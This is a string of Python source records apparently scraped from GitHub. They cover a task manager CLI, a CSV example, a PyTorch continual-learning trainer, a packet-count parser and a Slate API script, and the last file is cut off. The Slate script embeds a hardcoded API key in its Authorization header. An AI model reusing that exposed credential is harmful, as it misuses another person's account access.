Read user report\n    with open(\"user_overview.txt\", \"r\") as user_report_file:\n        user_report = user_report_file.read()\n\n    # Display task report\n    print(\"Task Report:\")\n    print(task_report)\n\n    # Display user report\n    print(\"User Report:\")\n    print(user_report)\n\n# Main program\n\n\ndef main():\n    while True:\n        print(\"Task Manager\")\n        print(\"1. Register User\")\n        print(\"2. Login\")\n        print(\"3. Add Task\")\n        print(\"4. View All Tasks\")\n        print(\"5. View My Tasks\")\n        print(\"6. Generate Reports\")\n        print(\"7. Display Statistics\")\n        print(\"8. Exit\")\n\n        choice = input(\"Enter your choice (1-8): \")\n\n        if choice == \"1\":\n            register_user()\n        elif choice == \"2\":\n            username = login_user()\n            if username:\n                while True:\n                    print(f\"Logged in as {username}\")\n                    print(\"1. Add Task\")\n                    print(\"2. View All Tasks\")\n                    print(\"3. View My Tasks\")\n                    print(\"4. Generate Reports\")\n                    print(\"5. Display Statistics\")\n                    print(\"6. Logout\")\n\n                    user_choice = input(\"Enter your choice (1-6): \")\n\n                    if user_choice == \"1\":\n                        add_task()\n                    elif user_choice == \"2\":\n                        view_all_tasks()\n                    elif user_choice == \"3\":\n                        view_my_tasks(username)\n                    elif user_choice == \"4\":\n                        generate_reports()\n                    elif user_choice == \"5\":\n                        display_statistics()\n                    elif user_choice == \"6\":\n                        print(\"Logged out.\")\n                        break\n                    else:\n                        print(\"Invalid choice.\")\n            else:\n                print(\"Login failed.\")\n        elif choice == \"3\":\n            add_task()\n        elif choice == \"4\":\n            view_all_tasks()\n        elif choice == \"5\":\n            print(\"Please log in to view your tasks.\")\n        elif choice == \"6\":\n            print(\"Please log in to generate reports.\")\n        elif choice == \"7\":\n            print(\"Please log in to display statistics.\")\n        elif choice == \"8\":\n            print(\"Exiting program.\")\n            break\n        else:\n            print(\"Invalid choice.\")\n\n\n# Run the program\nif __name__ == \"__main__\":\n    main()\n","repo_name":"ratanroyju/software_engineering_capstone_project1","sub_path":"task_manager_modify3.py","file_name":"task_manager_modify3.py","file_ext":"py","file_size_in_byte":9985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32316705145","text":"#중첩 리스트를 CSV형식으로 저장하기\n\nimport csv\n\nwith open('top_cities.csv', 'w', newline='') as f:\n    writer = csv.writer(f)\n    \n    writer.writerow(['rank', 'city', 'population'])\n\n    writer.writerows([\n        [1, '상하이', 24150000],\n        [2, '카라치', 23500000],\n        [3, '베이징', 21516000],\n        [4, '텐진', 14722100],\n        [5, '이스탄불', 14160467],\n    ])","repo_name":"ChaehyeonLee/study","sub_path":"crawling/save_csv.py","file_name":"save_csv.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"25420327841","text":"from os.path import join\n\nimport numpy as np\nimport torch\nfrom torch import nn, optim\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader, Subset\n\nfrom backbone.inc_net import IncrementalNet\nfrom methods.base import BaseLearner\nfrom utils.replayBank import ReplayBank\nfrom utils.toolkit import accuracy, count_parameters, tensor2numpy, cal_bwf, mean_class_recall, cal_class_avg_acc, cal_avg_forgetting, cal_openset_test_metrics\n\nEPSILON = 1e-8\n\n'''\n新方法命名规则: \npython文件(方法名小写) \n类名(方法名中词语字母大写)\n'''\n\n# base is finetune with or without memory_bank\nclass Finetune_IL(BaseLearner):\n    def __init__(self, logger, config):\n        super().__init__(logger, config)\n        # 评价指标变化曲线\n        self.cnn_task_metric_curve = []\n        self.nme_task_metric_curve = []\n        self.cnn_metric_curve = []\n        self.nme_metric_curve = []\n        # for openset test\n        self.cnn_auc_curve = []\n        self.nme_auc_curve = []\n        self.cnn_fpr95_curve = []\n        self.nme_fpr95_curve = []\n        self.cnn_AP_curve = []\n        self.nme_AP_curve = []\n\n        self._incre_type = config.incre_type\n        self._apply_nme = config.apply_nme\n        self._memory_size = config.memory_size\n        self._fixed_memory = config.fixed_memory\n        self._sampling_method = config.sampling_method\n        if self._fixed_memory:\n            self._memory_per_class = config.memory_per_class\n        self._memory_bank = None\n        if self._fixed_memory != None: # memory replay only support cil or gem famalies\n            self._memory_bank = ReplayBank(self._config, logger)\n            self._logger.info('Memory bank created!')\n        self._is_openset_test = config.openset_test\n        \n        self._replay_batch_size = config.batch_size if config.replay_batch_size is None else config.replay_batch_size\n\n        self._init_epochs = config.epochs if config.init_epochs is None else config.init_epochs\n        self._init_lrate = config.lrate if config.init_lrate is None else config.init_lrate\n        self._init_scheduler = config.scheduler if config.init_scheduler is None else config.init_scheduler\n        self._init_milestones = config.milestones if config.init_milestones is None else config.init_milestones\n        self._init_lrate_decay = config.lrate_decay if config.init_lrate_decay is None else config.init_lrate_decay\n        self._init_weight_decay = config.weight_decay if config.init_weight_decay is None else config.init_weight_decay\n        self._init_opt_mom = config.opt_mom if config.init_opt_mom is None else config._init_opt_mom\n        self._init_nesterov = config.nesterov if config.init_nesterov is None else config._init_nesterov\n                \n    def prepare_task_data(self, data_manager):\n        self._cur_task += 1\n        self._cur_classes = data_manager.get_task_size(self._cur_task)\n        self._total_classes = self._known_classes + self._cur_classes\n\n        if self._cur_task > 0 and self._memory_bank != None:\n            self._train_dataset = data_manager.get_dataset(indices=np.arange(self._known_classes, self._total_classes), \n                    source='train', mode='train', appendent=self._memory_bank.get_memory())\n        else:\n            self._train_dataset = data_manager.get_dataset(indices=np.arange(self._known_classes, self._total_classes),\n                    source='train', mode='train')\n        \n        self._test_dataset = data_manager.get_dataset(indices=np.arange(0, self._total_classes), source='test', mode='test')\n        self._openset_test_dataset = data_manager.get_openset_dataset(known_indices=np.arange(0, self._total_classes), source='test', mode='test')\n\n        self._logger.info('Train dataset size: {}'.format(len(self._train_dataset)))\n        self._logger.info('Test dataset size: {}'.format(len(self._test_dataset)))\n\n        self._train_loader = DataLoader(self._train_dataset, batch_size=self._batch_size, shuffle=True, num_workers=self._num_workers)\n        self._test_loader = DataLoader(self._test_dataset, batch_size=self._batch_size, shuffle=False, num_workers=self._num_workers)\n        self._openset_test_loader = DataLoader(self._openset_test_dataset, batch_size=self._batch_size, shuffle=False, num_workers=self._num_workers)\n\n        self._sampler_dataset = data_manager.get_dataset(indices=np.arange(self._known_classes, self._total_classes),\n                    source='train', mode='test')\n\n    def prepare_model(self, checkpoint=None):\n        if self._network == None:\n            self._network = IncrementalNet(self._logger, self._config.backbone, self._config.pretrained, self._config.pretrain_path, MLP_projector=self._config.MLP_projector)\n        \n        self._network.update_fc(self._total_classes)\n        if checkpoint is not None:\n            self._network.load_state_dict(checkpoint['state_dict'])\n            if checkpoint['memory_class_means'] is not None and self._memory_bank is not None:\n                self._memory_bank.set_class_means(checkpoint['memory_class_means'])\n            self._logger.info(\"Loaded checkpoint model's state_dict !\")\n        if self._config.freeze_fe:\n            self._network.freeze_FE()\n\n        self._logger.info('All params: {}'.format(count_parameters(self._network)))\n        self._logger.info('Trainable params: {}'.format(count_parameters(self._network, True)))\n        self._network = self._network.cuda()\n\n    def _epoch_train(self, model, train_loader, optimizer, scheduler, task_begin=None, task_end=None, task_id=None):\n        losses = 0.\n        correct, total = 0, 0\n        model.train()\n        for _, inputs, targets in train_loader:\n            inputs, targets = inputs.cuda(), targets.cuda()\n\n            logits, feature_outputs = model(inputs)\n            if self._incre_type == 'cil':\n                loss = F.cross_entropy(logits[:,:task_end], targets)\n                preds = torch.max(logits[:,:task_end], dim=1)[1]\n            elif self._incre_type == 'til':\n                loss = F.cross_entropy(logits[:, task_begin:task_end], targets-task_begin)\n                preds = torch.max(logits[:, task_begin:task_end], dim=1)[1] + task_begin\n    \n            optimizer.zero_grad()\n            loss.backward()\n            optimizer.step()\n            losses += loss.item()\n\n            correct += preds.eq(targets).cpu().sum()\n            total += len(targets)\n        \n        if scheduler != None:\n            scheduler.step()\n        train_acc = np.around(tensor2numpy(correct)*100 / total, decimals=2)\n        train_loss = ['Loss', losses/len(train_loader)]\n        return model, train_acc, train_loss\n    \n    def _epoch_test(self, model, test_loader, ret_task_acc=False, ret_pred_target=False, task_begin=None, task_end=None, task_id=None):\n        cnn_correct, cnn_task_correct, total, task_total = 0, 0, 0, 0\n        cnn_pred_all, nme_pred_all, target_all, features_all = [], [], [], []\n        cnn_max_scores_all, nme_max_scores_all = [], []\n        model.eval()\n        for _, inputs, targets in test_loader:\n            inputs, targets = inputs.cuda(), targets.cuda()\n            logits, feature_outputs = model(inputs)\n            if self._incre_type == 'cil':\n                cnn_max_scores, cnn_preds = torch.max(torch.softmax(logits[:,:task_end], dim=-1), dim=-1)\n            elif self._incre_type == 'til':\n                cnn_max_scores, cnn_preds = torch.max(torch.softmax(logits[:, task_begin:task_end], dim=-1), dim=-1)\n                cnn_preds = cnn_preds + task_begin\n                \n            if ret_pred_target:\n                if self._memory_bank != None and self._apply_nme:\n                    nme_pred, nme_max_scores = self._memory_bank.KNN_classify(feature_outputs['features'])\n                    nme_pred_all.append(tensor2numpy(nme_pred))\n                    nme_max_scores_all.append(tensor2numpy(nme_max_scores))\n                cnn_pred_all.append(tensor2numpy(cnn_preds))\n                target_all.append(tensor2numpy(targets))\n                features_all.append(tensor2numpy(feature_outputs['features']))\n                cnn_max_scores_all.append(tensor2numpy(cnn_max_scores))\n            else:\n                if ret_task_acc:\n                    task_data_idxs = torch.argwhere(torch.logical_and(targets>=task_begin, targets<task_end))\n                    cnn_task_correct += cnn_preds[task_data_idxs].eq(targets[task_data_idxs]).cpu().sum()\n                    task_total += len(task_data_idxs)\n                cnn_correct += cnn_preds.eq(targets).cpu().sum()\n                total += len(targets)\n        \n        if ret_pred_target:\n            cnn_pred_all = np.concatenate(cnn_pred_all)\n            nme_pred_all = np.concatenate(nme_pred_all) if len(nme_pred_all) != 0 else nme_pred_all\n            cnn_max_scores_all = np.concatenate(cnn_max_scores_all)\n            nme_max_scores_all = np.concatenate(nme_max_scores_all) if len(nme_max_scores_all) !=0 else nme_max_scores_all\n            target_all = np.concatenate(target_all)\n            features_all = np.concatenate(features_all)\n            return cnn_pred_all, nme_pred_all, cnn_max_scores_all, nme_max_scores_all, target_all, features_all\n        else:\n            test_acc = np.around(tensor2numpy(cnn_correct)*100 / total, decimals=2)\n            if ret_task_acc:\n                test_task_acc = np.around(tensor2numpy(cnn_task_correct)*100 / task_total, decimals=2)\n                return test_acc, test_task_acc\n            else:\n                return test_acc\n\n    def incremental_train(self):\n        self._logger.info('-'*10 + ' Learning on task {}: {}-{} '.format(self._cur_task, self._known_classes, self._total_classes-1) + '-'*10)\n        optimizer = self._get_optimizer(filter(lambda p: p.requires_grad, self._network.parameters()), self._config, self._cur_task==0)\n        scheduler = self._get_scheduler(optimizer, self._config, self._cur_task==0)\n        if self._cur_task == 0:\n            epochs = self._init_epochs\n        else:\n            epochs = self._epochs\n        self._network = self._train_model(self._network, self._train_loader, self._test_loader, optimizer, scheduler, task_id=self._cur_task, epochs=epochs)\n    \n    def store_samples(self):\n        if self._memory_bank != None:\n            self._memory_bank.store_samples(self._sampler_dataset, self._network)\n    \n    def _train_model(self, model, train_loader, test_loader, optimizer, scheduler, task_id=None, epochs=100, note=''):\n        task_begin = sum(self._increment_steps[:task_id])\n        task_end = task_begin + self._increment_steps[task_id]\n        if note != '':\n            note += '_'\n        for epoch in range(epochs):\n            model, train_acc, train_losses = self._epoch_train(model, train_loader, optimizer, scheduler,\n                                task_begin=task_begin, task_end=task_end, task_id=task_id)\n            # update record_dict\n            record_dict = {}\n\n            info = ('Task {}, Epoch {}/{} => '.format(task_id, epoch+1, epochs) + \n                ('{} {:.3f}, '* int(len(train_losses)/2)).format(*train_losses))\n            for i in range(int(len(train_losses)/2)):\n                record_dict['Task{}_{}'.format(task_id, note)+train_losses[i*2]] = train_losses[i*2+1]\n            \n            if train_acc is not None:\n                record_dict['Task{}_{}Train_Acc'.format(task_id, note)] = train_acc\n                info = info + 'Train_accy {:.2f}, '.format(train_acc)          \n            \n            test_acc, task_test_acc = self._epoch_test(model, test_loader, ret_task_acc=True,\n                                                task_begin=task_begin, task_end=task_end, task_id=task_id)\n            \n            record_dict['Task{}_{}Test_Acc(inner task)'.format(task_id, note)] = task_test_acc\n            info = info + 'Task{}_Test_accy {:.2f}, '.format(task_id, task_test_acc)\n            if self._incre_type == 'cil': # only show epoch test acc in cil, because epoch test acc is worth nothing in til\n                record_dict['Task{}_{}Test_Acc'.format(task_id, note)] = test_acc\n                info = info + 'Test_accy {:.2f}'.format(test_acc)\n\n            self._logger.info(info)\n            self._logger.visual_log('train', record_dict, step=epoch)\n        \n        return model\n\n    def eval_task(self):        \n        if len(self.cnn_task_metric_curve) == 0:\n            self.cnn_task_metric_curve = np.zeros((self._nb_tasks, self._nb_tasks))\n            self.nme_task_metric_curve = np.zeros((self._nb_tasks, self._nb_tasks))\n\n        self._logger.info(50*\"-\")\n        self._logger.info(\"log {} of every task\".format(self._eval_metric))\n        self._logger.info(50*\"-\")\n        if self._is_openset_test:\n            test_dataset = self._openset_test_dataset\n            test_loader = self._openset_test_loader\n        else:\n            test_dataset = self._test_dataset\n            test_loader = self._test_loader\n        if self._incre_type == 'cil':\n            cnn_pred, nme_pred, cnn_pred_score, nme_pred_score, y_true, features = self.get_cil_pred_target(self._network, test_loader)\n        elif self._incre_type == 'til':\n            cnn_pred, nme_pred, cnn_pred_score, nme_pred_score, y_true, features = self.get_til_pred_target(self._network, test_dataset)\n        \n        # prepare for calculate openset auc\n        if self._is_openset_test and self._cur_task < self._nb_tasks-1:\n            openset_target = np.ones_like(y_true)\n            openset_idx = np.where(y_true == sum(self._increment_steps))[0]\n            openset_target[openset_idx] = 0\n            cnn_openset_score = cnn_pred_score.copy()\n            nme_openset_score = nme_pred_score.copy() if not (nme_pred is None or len(nme_pred) == 0) else None\n\n            y_true = np.delete(y_true, openset_idx)\n            cnn_pred = np.delete(cnn_pred, openset_idx)\n            cnn_pred_score = np.delete(cnn_pred_score, openset_idx)\n            nme_pred = np.delete(nme_pred, openset_idx) if not(nme_pred is None or len(nme_pred) == 0) else None\n            nme_pred_score = np.delete(nme_pred_score, openset_idx) if not (nme_pred is None or len(nme_pred) == 0) else None\n        \n        # save predict and target records for more analysis afterwards\n        if self._save_pred_record:\n            self.save_predict_records(cnn_pred, cnn_pred_score, nme_pred_score, nme_pred, y_true, features)\n\n        # start calculate and log out results(CNN)\n        if self._eval_metric == 'acc':\n            cnn_total, cnn_task = accuracy(cnn_pred.T, y_true, self._total_classes, self._increment_steps)\n        elif self._eval_metric == 'mcr':\n            cnn_total, cnn_task = mean_class_recall(cnn_pred.T, y_true, self._total_classes, self._increment_steps)\n        else:\n            raise ValueError('Unknown evaluate metric: {}'.format(self._eval_metric))\n            \n        self.cnn_metric_curve.append(cnn_total)\n        self._logger.info(\"CNN : {} curve of all task is [\\t\".format(self._eval_metric) + \n            (\"{:2.2f}\\t\"*len(self.cnn_metric_curve)).format(*self.cnn_metric_curve) + ']')\n        for i in range(len(cnn_task)):\n            self.cnn_task_metric_curve[i][self._cur_task] = cnn_task[i]\n            self._logger.info(\"CNN : task {} {} curve is [\\t\".format(i, self._eval_metric)+\n                        (\"{:2.2f}\\t\"*len(cnn_task)).format(*self.cnn_task_metric_curve[i][:len(cnn_task)].tolist()) + ']')\n        self._logger.info(\"CNN : Average (all task) {} of all stages: {:.2f}\".format(self._eval_metric, np.mean(self.cnn_metric_curve)))\n        self._logger.info(\"CNN : Final Average {} of all task: {:.2f}\".format(self._eval_metric, np.mean(self.cnn_task_metric_curve[:self._cur_task+1 ,self._cur_task])))\n        self._logger.info(\"CNN : Final Average ACC of all classes: {:.2f}\".format(cal_class_avg_acc(cnn_pred, y_true)))\n        self._logger.info(\"CNN : Backward Transfer: {:.2f}\".format(cal_bwf(self.cnn_task_metric_curve, self._cur_task)))\n        self._logger.info(\"CNN : Average Forgetting: {:.2f}\".format(cal_avg_forgetting(self.cnn_task_metric_curve, self._cur_task)))\n        # cal openset test metrics\n        if self._is_openset_test and cnn_pred_score is not None:\n            if self._cur_task < self._nb_tasks-1:\n                roc_auc, fpr95, ap = cal_openset_test_metrics(cnn_openset_score, openset_target)\n                self.cnn_auc_curve.append(roc_auc)\n                self.cnn_fpr95_curve.append(fpr95)\n                self.cnn_AP_curve.append(ap)\n            self._logger.info(\"CNN : openset AUC curve of all stages is [\\t\" + (\"{:2.2f}\\t\"*len(self.cnn_auc_curve)).format(*self.cnn_auc_curve) + ']')\n            self._logger.info(\"CNN : Average AUC of all stages: {:.2f}\".format(np.mean(self.cnn_auc_curve)))\n            self._logger.info(\"CNN : openset fpr95 curve of all stages is [\\t\" + (\"{:2.2f}\\t\"*len(self.cnn_fpr95_curve)).format(*self.cnn_fpr95_curve) + ']')\n            self._logger.info(\"CNN : Average fpr95 of all stages: {:.2f}\".format(np.mean(self.cnn_fpr95_curve)))\n            self._logger.info(\"CNN : openset AP curve of all stages is [\\t\" + (\"{:2.2f}\\t\"*len(self.cnn_AP_curve)).format(*self.cnn_AP_curve) + ']')\n            self._logger.info(\"CNN : Average AP of all stages: {:.2f}\".format(np.mean(self.cnn_AP_curve)))\n        self._logger.info(' ')\n    \n        # start calculate and log out results(NME)\n        if not (nme_pred is None or len(nme_pred) == 0):\n            if self._eval_metric == 'acc':\n                nme_total, nme_task = accuracy(nme_pred.T, y_true, self._total_classes, self._increment_steps)\n            elif self._eval_metric == 'mcr':\n                nme_total, nme_task = mean_class_recall(nme_pred.T, y_true, self._total_classes, self._increment_steps)\n            else:\n                raise ValueError('Unknown evaluate metric: {}'.format(self._eval_metric))\n            self.nme_metric_curve.append(nme_total)\n            self._logger.info(\"NME : {} curve of all task is [\\t\".format(self._eval_metric) +\n                (\"{:2.2f}\\t\"*len(self.nme_metric_curve)).format(*self.nme_metric_curve) + ']')\n            for i in range(len(nme_task)):\n                self.nme_task_metric_curve[i][self._cur_task] = nme_task[i]\n                self._logger.info(\"NME : task {} {} curve is [\\t\".format(i, self._eval_metric) + \n                        (\"{:2.2f}\\t\"*len(nme_task)).format(*self.nme_task_metric_curve[i][:len(nme_task)].tolist()) + ']')\n            self._logger.info(\"NME : Average (all task) {} of all stages: {:.2f}\".format(self._eval_metric, np.mean(self.nme_metric_curve)))\n            self._logger.info(\"NME : Average (last stage) {} of all task: {:.2f}\".format(self._eval_metric, np.mean(self.nme_task_metric_curve[:self._cur_task+1 ,self._cur_task])))\n            self._logger.info(\"NME : Average ACC of all classes: {:.2f}\".format(cal_class_avg_acc(nme_pred, y_true)))\n            self._logger.info(\"NME : Backward Transfer: {:.2f}\".format(cal_bwf(self.nme_task_metric_curve, self._cur_task)))\n            self._logger.info(\"NME : Average Forgetting: {:.2f}\".format(cal_avg_forgetting(self.nme_task_metric_curve, self._cur_task)))\n            # cal openset test metrics\n            if self._is_openset_test and nme_pred_score is not None:\n                if self._cur_task < self._nb_tasks-1:\n                    roc_auc, fpr95, ap = cal_openset_test_metrics(nme_openset_score, openset_target)\n                    self.nme_auc_curve.append(roc_auc)\n                    self.nme_fpr95_curve.append(fpr95)\n                    self.nme_AP_curve.append(ap)\n                self._logger.info(\"NME : openset AUC curve of all stages is [\\t\" + (\"{:2.2f}\\t\"*len(self.nme_auc_curve)).format(*self.nme_auc_curve) + ']')\n                self._logger.info(\"NME : Average AUC of all stages: {:.2f}\".format(np.mean(self.nme_auc_curve)))\n                self._logger.info(\"NME : openset fpr95 curve of all stages is [\\t\" + (\"{:2.2f}\\t\"*len(self.nme_fpr95_curve)).format(*self.nme_fpr95_curve) + ']')\n                self._logger.info(\"NME : Average fpr95 of all stages: {:.2f}\".format(np.mean(self.nme_fpr95_curve)))\n                self._logger.info(\"NME : openset AP curve of all stages is [\\t\" + (\"{:2.2f}\\t\"*len(self.nme_AP_curve)).format(*self.nme_AP_curve) + ']')\n                self._logger.info(\"NME : Average AP of all stages: {:.2f}\".format(np.mean(self.nme_AP_curve)))\n            self._logger.info(' ')\n\n    def after_task(self):\n        self._known_classes = self._total_classes\n        if self._save_models:\n            self.save_checkpoint('seed{}_task{}_checkpoint.pkl'.format(self._seed, self._cur_task),\n                self._network.cpu(), self._cur_task)\n\n    def save_checkpoint(self, filename, model, task_id):\n        save_path = join(self._logdir, filename)\n        if self._memory_bank is None:\n            memory_class_means = None\n        else:\n            memory_class_means = self._memory_bank.get_class_means()\n        if isinstance(model, nn.DataParallel):\n            model = model.module\n        save_dict = {'state_dict': model.state_dict(), 'config':self._config.get_parameters_dict(),\n                'task_id': task_id, 'memory_class_means':memory_class_means}\n        torch.save(save_dict, save_path)\n        self._logger.info('checkpoint saved at: {}'.format(save_path))\n    \n    def save_predict_records(self, cnn_pred, cnn_pred_scores, nme_pred, nme_pred_scores, targets, features):\n        record_dict = {}        \n        record_dict['cnn_pred'] = cnn_pred\n        record_dict['cnn_pred_scores'] = cnn_pred_scores\n        record_dict['nme_pred'] = nme_pred\n        record_dict['nme_pred_scores'] = nme_pred_scores\n        record_dict['targets'] = targets\n        record_dict['features'] = features\n\n        filename = 'pred_record_seed{}_task{}.npy'.format(self._seed, self._cur_task)\n        np.save(join(self._logdir, filename), record_dict)\n    \n    def get_cil_pred_target(self, model, test_loader):\n        return self._epoch_test(model, test_loader, ret_pred_target=True, task_begin=0, \n                    task_end=self._total_classes, task_id=self._cur_task)\n    \n    def get_til_pred_target(self, model, test_dataset):\n        known_classes = 0\n        total_classes = 0\n        cnn_pred_result, nme_pred_result, y_true_result, cnn_predict_score, nme_predict_score, features_result = [], [], [], [], [], []\n        for task_id in range(self._cur_task + 1):\n            cur_classes = self._increment_steps[task_id]\n            total_classes += cur_classes\n            \n            task_dataset = Subset(test_dataset, \n                np.argwhere(np.logical_and(test_dataset.targets >= known_classes, test_dataset.targets < total_classes)).squeeze())\n            task_loader = DataLoader(task_dataset, batch_size=self._batch_size, shuffle=False, num_workers=self._num_workers)\n            \n            cnn_pred, nme_pred, cnn_pred_score, nme_pred_score, y_true, features = self._epoch_test(model, task_loader,\n                        ret_pred_target=True, task_begin=known_classes, task_end=total_classes, task_id=task_id)\n            cnn_pred_result.append(cnn_pred)\n            y_true_result.append(y_true)\n            cnn_predict_score.append(cnn_pred_score)\n            features_result.append(features)\n\n            known_classes = total_classes\n\n        cnn_pred_result = np.concatenate(cnn_pred_result)\n        y_true_result = np.concatenate(y_true_result)\n        cnn_predict_score = np.concatenate(cnn_predict_score)\n        features_result = np.concatenate(features_result)\n\n        return cnn_pred_result, nme_pred_result, cnn_predict_score, nme_predict_score, y_true_result, features_result\n    \n    def release(self):\n        super().release()\n        if self._memory_bank is not None:\n            self._memory_bank = None\n\n    def _get_optimizer(self, params, config, is_init:bool):\n        optimizer = None\n        if is_init:\n            if config.opt_type == 'sgd':\n                optimizer = optim.SGD(params, lr=self._init_lrate,\n                                      momentum=0 if self._init_opt_mom is None else self._init_opt_mom,\n                                      weight_decay=0 if self._init_weight_decay is None else self._init_weight_decay,\n                                      nesterov=False if self._init_nesterov is None else self._init_nesterov)\n                self._logger.info('Applying sgd: lr={}, momenton={}, weight_decay={}'.format(self._init_lrate, self._init_opt_mom, self._init_weight_decay))\n            elif config.opt_type == 'adam':\n                optimizer = optim.Adam(params, lr=self._init_lrate,\n                                       weight_decay=0 if self._init_weight_decay is None else self._init_weight_decay)\n                self._logger.info('Applying adam: lr={}, weight_decay={}'.format(self._init_lrate, self._init_weight_decay))\n            elif config.opt_type == 'adamw':\n                optimizer = optim.AdamW(params, lr=self._init_lrate,\n                                        weight_decay=0 if self._init_weight_decay is None else self._init_weight_decay,)\n                self._logger.info('Applying adamw: lr={}, weight_decay={}'.format(self._init_lrate, self._init_weight_decay))\n            else:\n                raise ValueError('No optimazer: {}'.format(config.opt_type))\n        else:\n            if config.opt_type == 'sgd':\n                optimizer = optim.SGD(params, lr=config.lrate,\n                                      momentum=0 if config.opt_mom is None else config.opt_mom,\n                                      weight_decay=0 if config.weight_decay is None else config.weight_decay,\n                                      nesterov=False if config.nesterov is None else config.nesterov)\n                self._logger.info('Applying sgd: lr={}, momenton={}, weight_decay={}'.format(config.lrate, config.opt_mom, config.weight_decay))\n            elif config.opt_type == 'adam':\n                optimizer = optim.Adam(params, lr=config.lrate,\n                                       weight_decay=0 if config.weight_decay is None else config.weight_decay)\n                self._logger.info('Applying adam: lr={}, weight_decay={}'.format(config.lrate, config.weight_decay))\n            else: \n                raise ValueError('No optimazer: {}'.format(config.opt_type))\n        return optimizer\n    \n    def _get_scheduler(self, optimizer, config, is_init:bool):\n        scheduler = None\n        if is_init:\n            if config.scheduler == 'multi_step':\n                scheduler = optim.lr_scheduler.MultiStepLR(optimizer=optimizer, milestones=self._init_milestones, gamma=self._init_lrate_decay)\n                self._logger.info('Applying multi_step scheduler: lr_decay={}, milestone={}'.format(self._init_lrate_decay, self._init_milestones))\n            elif config.scheduler == 'cos':\n                scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer=optimizer, T_max=self._init_epochs)\n                self._logger.info('Applying cos scheduler')\n            elif config.scheduler == None:\n                scheduler = None\n            else: \n                raise ValueError('Unknown scheduler: {}'.format(config.scheduler))\n        else:\n            if config.scheduler == 'multi_step':\n                scheduler = optim.lr_scheduler.MultiStepLR(optimizer=optimizer, milestones=config.milestones, gamma=config.lrate_decay)\n                self._logger.info('Applying multi_step scheduler: lr_decay={}, milestone={}'.format(config.lrate_decay, config.milestones))\n            elif config.scheduler == 'cos':\n                scheduler = optim.lr_scheduler.CosineAnnealingLR(optimizer=optimizer, T_max=config.epochs)\n                self._logger.info('Applying cos scheduler: T_max={}'.format(config.epochs))\n            # elif config.scheduler == 'coslrs':\n            #     scheduler = optim.CosineLRScheduler(optimizer, t_initial=self._init_epochs, decay_rate=0.1, lr_min=1e-5, warmup_t=5, warmup_lr_init=1e-6)\n            elif config.scheduler == None:\n                scheduler = None\n            else: \n                raise ValueError('No scheduler: {}'.format(config.scheduler))\n        return scheduler","repo_name":"GiantJun/CL_Pytorch","sub_path":"methods/multi_steps/finetune_il.py","file_name":"finetune_il.py","file_ext":"py","file_size_in_byte":28134,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"16"}
+{"seq_id":"40171098954","text":"import time\nmatch_list = []\nfilex = open('schedule_task','r')\nfile_to_dump = open('Final_values_to_plot', 'a')\nlinesx = filex.readlines()\n#print(lines)\nlast_linex  = linesx[-2:]\nmatch_list.append(last_linex[1])\ndef getPacketsPersecond():\n    file = open('schedule_task','r')\n    lines = file.readlines()\n    #print(lines)\n    last_line  = lines[-2:]\n    if(last_line[1] != match_list[0]):\n        line1 = last_line[0].split(',')\n        icmp1 = int(line1[0].split(':')[1])\n        tcp1 = int(line1[1].split(':')[1])\n        udp1 = int(line1[2].split(':')[1])\n        # print(\"icmp1:{}, tcp1:{}, ucp1:{}\".format(icmp1,tcp1,udp1))\n\n        line2 = last_line[1].split(',')\n        icmp2 = int(line2[0].split(':')[1])\n        tcp2 = int(line2[1].split(':')[1])\n        udp2 = int(line2[2].split(':')[1])\n        # print(\"icmp2:{}, tcp2:{}, ucp2:{}\".format(icmp2,tcp2,udp2))\n\n        # print(\"Increment in packets\")\n        str1 = \"{} {} {}\".format(max(0,(icmp2 - icmp1)), max(0,(tcp2 - tcp1)), max(0,(udp2 - udp1)))\n        #print(\"{} {} {}\".format(max(0,(icmp2 - icmp1)), max(0,(tcp2 - tcp1)), max(0,(udp2 - udp1))))\n        file_to_dump.writelines(str1)\n        match_list.clear()\n        match_list.append(last_line[1])\n        # yahan par data aa gaya\n        return max(0,(icmp2 - icmp1)), max(0,(tcp2 - tcp1)), max(0,(udp2 - udp1))\n    else:\n        str2 = \"{} {} {}\".format(0,0,0)\n        file_to_dump.writelines(str2)\n        #print(\"{} {} {}\".format(0,0,0))\n\n        return 0,0,0\n    #time.sleep(4)\n\ngetPacketsPersecond()","repo_name":"Ansh063/PSniff","sub_path":"Network Sniffer/flask_packet.py","file_name":"flask_packet.py","file_ext":"py","file_size_in_byte":1526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"301409128","text":"import requests\nimport json as JSON\n\nurl = \"https://slate.host/api/v1/get\"\nheaders = {\n    \"content-type\": \"application/json\",\n    \"Authorization\": \"SLA8d5a9c28-cb14-4886-b4ac-5575da2d90aaTE\",\n}\n\njson = {\"private\": \"true\"}\n\nget = requests.post(url, headers=headers, json=json)\n\nprint(JSON.dumps(get.json(), indent=2))\n","repo_name":"slate-engineering/slate-scripts","sub_path":"api/get.py","file_name":"get.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"72352132487","text":"import os\nimport sys\nfrom PySide2.QtCore import QUrl\nfrom PySide2.QtWidgets import QApplication, QMainWindow, QVBoxLayout, QWidget\nfrom PySide2.QtWebEngineWidgets import QWebEngineView,QWebEnginePage\n\nclass WebPage(QWebEnginePage):\n    \"\"\"\n    Makes it possible to use a Python logger to print javascript console messages\n    \"\"\"\n    def __init__(self, parent=None):\n        super(WebPage, self).__init__(parent)\n\n    def javaScriptConsoleMessage(self, msg, lineNumber, sourceID, foo):\n        print(\"TOTO JsConsole(%s:%s): %s\" % (sourceID, lineNumber, msg))\n\n\nclass MainWindow(QMainWindow):\n    def __init__(self, parent=None):\n        super(MainWindow, self).__init__(parent)\n        self.form_widget = FormWidget(self)\n        _widget = QWidget()\n        _layout = QVBoxLayout(_widget)\n        _layout.addWidget(self.form_widget)\n        self.setCentralWidget(_widget)\n\n\nclass FormWidget(QWidget):\n    def __init__(self, parent):\n        super(FormWidget, self).__init__(parent)\n        self.__controls()\n        self.__layout()\n\n    def __controls(self):\n\n        path = 